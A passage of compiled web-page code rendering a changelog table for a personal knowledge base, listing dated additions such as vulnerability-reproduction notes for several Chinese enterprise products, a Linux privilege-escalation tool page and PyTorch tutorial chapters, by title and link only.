09:36:12"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/%E7%94%A8%E5%8F%8B/YonBIP/YonBIP_NCSysBrokerServlet_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/YonBIP_NCSysBrokerServlet_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%281%29",children:"\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-09-02 17:17:50"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/JeecgBoot/JeecgBoot%203.9.5%20pre-auth%20RCE%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87/",children:"\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-29 00:22:46"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Simple%20Admin/%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C%E5%8D%B3%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98/%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C%E5%8D%B3%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98",children:"\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})]})]}),"\n",(0,A.jsx)(e.h2,{id:"2026\u5e7408\u6708",children:"2026\u5e7408\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2026\u5e7408\u670828\u65e5",children:"2026\u5e7408\u670828\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsxs)(e.tbody,{children:[(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/%E7%A6%85%E9%81%93/chandao_ajaxGetList_flag_wp",children:"\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/Linux%E6%8F%90%E6%9D%83/RootHawkX-Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7",children:"\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"/personal/articles/free-chatgpt-go-one-year",children:"\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u8865\u5145\u66f4\u65b0"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/Linux%E6%8F%90%E6%9D%83/",children:"\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u8865\u5145\u66f4\u65b0"})]})]})]}),"\n",(0,A.jsx)(e.h2,{id:"2026\u5e7406\u6708",children:"2026\u5e7406\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2026\u5e7406\u670807\u65e5",children:"2026\u5e7406\u670807\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsxs)(e.tbody,{children:[(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:03"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:42"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:31"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e5d\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:31"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 